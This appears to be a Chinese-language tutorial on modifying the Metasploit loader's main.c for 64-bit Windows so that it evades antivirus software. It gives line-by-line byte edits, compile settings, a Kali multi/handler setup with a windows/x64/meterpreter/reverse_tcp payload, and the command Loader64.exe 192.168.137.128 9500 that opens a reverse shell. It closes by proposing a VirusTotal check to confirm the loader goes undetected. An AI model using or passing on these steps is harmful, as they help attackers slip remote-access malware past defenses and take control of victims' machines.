在这里,我们将使用64位Metasploit Loader绕过防病毒软件。
首先,我们将编辑32位的Metasploit加载程序,使其与64位元兼容。
我们将使用64位占用10个字节的RDI寄存器,来代替32位版本占用5个字节的EDI寄存器。
注:为十六进制编码MOV RDI是48 BF。
为了制作可执行文件,我们将使用Sourceforge的Dev C ++工具,该工具可从链接Dev C ++下载。

为确保正确安装,请查找GCC文件。它应该同时具有32和64位GCC。

- 新建一个Project Loader64并将文件另存为Loader64。
- 将Project设置为C Project,将应用程序设置为Console Application。
因此,我们可以从命令提示符处运行它。



- 将创建一个新的默认文件,如下所示。
- 将默认代码替换为Metasploit Loader中的Raw main.c文件。

- 如下所示将原始文件从main.c复制到新的Project Loader64。
- 将文件另存为Loader64.c。

- 在文件Loader64.c中进行以下更改。由于使用64位将需要更多字节来处理。
- 第107行-替换尺寸+ 5->尺寸+10
- 第114行-添加缓冲区[0] = 0x48; #十六进制mov为48
- 第115行-添加缓冲区[1] = 0xBF; #因为十六进制的rdi是BF
- 第118行-替换1-> 2&4-> 8
- 第121行-替换5-> 10

另外,将winsock2.h放在windows.h之上。这是原始代码中的错误。请参阅上一篇文章。

确保编译选项具有-lws2_32

- 现在在,编译并运行代码。
- 为了方便起见,将Loader64.exe复制到桌面。
- 转到Kali,启动Multi Handler,它将从Windows7连接到Reverse Shell。
- Use PAYLOAD windows/x64/meterpreter/reverse_tcp
- 设置LHOST和LPORT
- 启动反向TCP处理程序。

- 转到Windows实例,启动命令提示符。
- 移至保留Loader64.exe的文件夹。
- 尝试从cmd运行Loader64.exe。
- 它需要主机和端口值
- 相应地输入值,请参见下图
- 运行:Loader64.exe 192.168.137.128 9500
- 检查处理程序,会话已创建。

- 在Kali实例上,我们获得了一个会话。

Metasploit Loader 64位创建了一个会话,许多防病毒软件均未检测到该会话。
让我们检查VirusTotal上的有效负载。如果这样,它将能够绕过所有防病毒软件。
